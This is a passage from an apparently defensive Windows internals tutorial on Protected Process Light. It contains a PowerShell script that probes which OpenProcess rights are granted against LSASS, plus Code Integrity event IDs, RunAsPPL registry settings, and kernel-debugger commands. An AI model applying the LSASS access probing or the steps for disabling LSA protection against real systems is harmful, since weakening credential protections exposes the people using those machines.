    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PROCESS_VM_OPERATION&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x0008&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PROCESS_CREATE_THREAD&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;             &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x0002&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PROCESS_TERMINATE&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;                 &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x0001&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PROCESS_DUP_HANDLE&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x0040&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Test-OpenProcessRight&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProcessId&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$right&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$rights&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$handle&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NativeProcessAccess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OpenProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$right&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProcessId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$errorCode&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetLastWin32Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

        &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$handle&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-ne&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IntPtr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Zero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NativeProcessAccess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CloseHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$handle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Out-Null&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pscustomobject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]@{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Process&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Pid&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProcessId&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Right&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$right&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Key&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Granted&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Win32Error&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pscustomobject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]@{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Process&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Pid&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ProcessId&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Right&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$right&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Key&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Denied&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Win32Error&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$errorCode&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$notepad&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Start-Process&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;notepad&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-PassThru&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$lsass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-Process&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;lsass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pscustomobject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]@{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;notepad&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Pid&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$notepad&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pscustomobject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]@{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;lsass&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;   &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Pid&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$lsass&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ForEach-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Test-OpenProcessRight&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ProcessId&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Pid&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Format-Table&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-AutoSize&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/protections/experiment.png&quot; alt=&quot;OpenProcess access probe results&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The exact output depends on the system and token state. The pattern is what matters. For an ordinary Notepad process, many of the requested rights should be granted. For LSASS running with protection, sensitive rights such as memory access, handle duplication, and thread creation should fail from an ordinary administrative process. Other rights, including termination, can vary by target and protection state, which is why the access-mask probe is useful.&lt;/p&gt;

&lt;p&gt;If LSASS is not protected on your system, pick another process that Process Explorer clearly labels as protected or PPL and rerun the same probe against that PID.&lt;/p&gt;

&lt;h1 id=&quot;ppl-also-controls-what-code-may-load&quot;&gt;PPL also controls what code may load&lt;/h1&gt;

&lt;p&gt;PPL is not only about who can open a handle. It also intersects with Code Integrity.&lt;/p&gt;

&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-&quot;&gt;anti-malware protected services&lt;/a&gt; documentation is a good example. Windows 8.1 introduced protected services so anti-malware user-mode services could opt into protected execution. Once the service is launched as protected, Windows uses Code Integrity to restrict what code can load into it, and nonprotected processes cannot inject threads or write into its virtual memory.&lt;/p&gt;

&lt;p&gt;That is why PPL starts to feel adjacent to WDAC and App Control, even though PPL signer levels are not equivalent to ordinary WDAC allow or deny rules.&lt;/p&gt;

&lt;p&gt;Code Integrity is the enforcement machinery that validates whether code is acceptable for a protected context. WDAC, now commonly referred to in Microsoft documentation as App Control for Business, is an administrator policy system that can define which code is allowed to run. They are related, but not identical.&lt;/p&gt;

&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/operations/event-id-explanations&quot;&gt;App Control event documentation&lt;/a&gt; makes the overlap visible. Event ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3104&lt;/code&gt; means a file under validation did not meet the signing requirements for a PPL process. Event ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3086&lt;/code&gt; is similar for an IUM process. The LSA protection documentation also points administrators at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; log for events where plug-ins or drivers fail protected-mode signing requirements.&lt;/p&gt;

&lt;p&gt;That gives defenders a practical place to look. When protected processes refuse code, Code Integrity telemetry may explain why.&lt;/p&gt;

&lt;h1 id=&quot;experiment-3-check-the-code-integrity-log&quot;&gt;Experiment 3: check the Code Integrity log&lt;/h1&gt;

&lt;p&gt;Open Event Viewer and browse to:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Applications and Services Logs&lt;/code&gt; &amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft&lt;/code&gt; &amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windows&lt;/code&gt; &amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CodeIntegrity&lt;/code&gt; &amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Operational&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then filter for events such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3033&lt;/code&gt;: in the LSA protection docs, LSASS tried to load a driver that did not meet Microsoft signing-level requirements&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3063&lt;/code&gt;: in the LSA protection docs, LSASS tried to load a driver that did not meet shared-section requirements&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3086&lt;/code&gt;: a file did not meet IUM signing requirements&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3104&lt;/code&gt;: a file did not meet PPL signing requirements&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Do not try to manufacture these events on a production machine. The useful habit is knowing where Windows reports the reason when a protected process refuses code. If you are piloting LSA protection, Microsoft also documents audit mode and the relevant Code Integrity events to check before enforcement.&lt;/p&gt;

&lt;h1 id=&quot;can-these-protections-be-enabled-or-disabled&quot;&gt;Can these protections be enabled or disabled?&lt;/h1&gt;

&lt;p&gt;This is where the answer depends heavily on which protection is being discussed.&lt;/p&gt;

&lt;p&gt;Classic Protected Processes are not a general administrative switch. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CREATE_PROTECTED_PROCESS&lt;/code&gt; flag exists, but the binary needs a special Microsoft signature. For ordinary software, that is not a practical “turn this on” option.&lt;/p&gt;

&lt;p&gt;Anti-malware protected services are opt-in for qualifying anti-malware vendors. Microsoft’s documentation requires an Early Launch Anti-Malware driver, certificate information in the ELAM resource section, service registration, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ChangeServiceConfig2&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SERVICE_CONFIG_LAUNCH_PROTECTED&lt;/code&gt;. Once running as protected, the service cannot be stopped or reconfigured by an ordinary nonprotected process, even if that process is administrative. For servicing or uninstall, the protected service must cooperate by marking itself unprotected.&lt;/p&gt;

&lt;p&gt;LSA protection is configurable. Microsoft documents registry, Group Policy, Intune, and CSP options. On a single machine, the registry path is:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The value is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RunAsPPL&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;: enable with UEFI lock&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt;: enable without UEFI lock on Windows 11 version 22H2 and later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Disabling LSA protection depends on how it was enabled. Without UEFI lock, policy or registry can disable it after a reboot. With UEFI lock, the setting is stored in firmware and requires Microsoft documented opt-out steps. Secure Boot state matters here, so this is not something to casually toggle on a production machine.&lt;/p&gt;

&lt;p&gt;Credential Guard and VBS are also configurable, but they are a separate layer from PPL. Microsoft documents &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/configure&quot;&gt;Intune, Group Policy, and registry options for Credential Guard&lt;/a&gt;. Starting in Windows 11 version 22H2 and Windows Server 2025, Credential Guard is enabled by default on devices that meet the requirements unless explicitly disabled. If Credential Guard is enabled with UEFI lock, disabling it is more involved and requires the documented UEFI-variable removal flow.&lt;/p&gt;

&lt;p&gt;HVCI, shown in the Windows UI as Memory Integrity, is another VBS-backed feature. It is not the same thing as PPL, but it matters in the same defensive neighborhood because it helps protect kernel-mode code integrity. Microsoft documents &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity?tabs=intune&quot;&gt;enablement through Windows Security, Intune, Group Policy, registry, and App Control policy&lt;/a&gt;. Microsoft also documents recovery steps because driver incompatibility can prevent a system from booting cleanly after HVCI is enabled.&lt;/p&gt;

&lt;h1 id=&quot;the-kernel-debugger-sees-a-different-layer&quot;&gt;The kernel debugger sees a different layer&lt;/h1&gt;

&lt;p&gt;At this point it is tempting to say “the process cannot be inspected.” That is too broad.&lt;/p&gt;

&lt;p&gt;A normal user-mode administrative tool is constrained by process access checks. A kernel debugger in a lab is operating from a different context. That contrast shows that protected processes are not absent or structurally unknowable. They are normal process objects with extra protection state that affects which callers can receive sensitive access.&lt;/p&gt;

&lt;p&gt;Microsoft’s anti-malware protected service documentation uses a kernel debugger to inspect the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Protection&lt;/code&gt; field inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EPROCESS&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dt -r1 nt!_EPROCESS &amp;lt;ProcessAddress&amp;gt; Protection
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On a lab VM with symbols configured, you can use a flow like this. First list processes and find the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt; entry:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;!process 0 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then use the process address from that output:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dt -r1 nt!_EPROCESS &amp;lt;ProcessAddress&amp;gt; Protection
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The field layout can change between builds, which is why the debugger command asks symbols to resolve the structure instead of relying on a fixed offset. The protection value is part of kernel process state, not a UI label invented by Process Explorer.&lt;/p&gt;

&lt;h1 id=&quot;trustlets-move-the-boundary-again&quot;&gt;Trustlets move the boundary again&lt;/h1&gt;

&lt;p&gt;PPL still lives in the normal NT/VTL0 world. Trustlets are a different step.&lt;/p&gt;

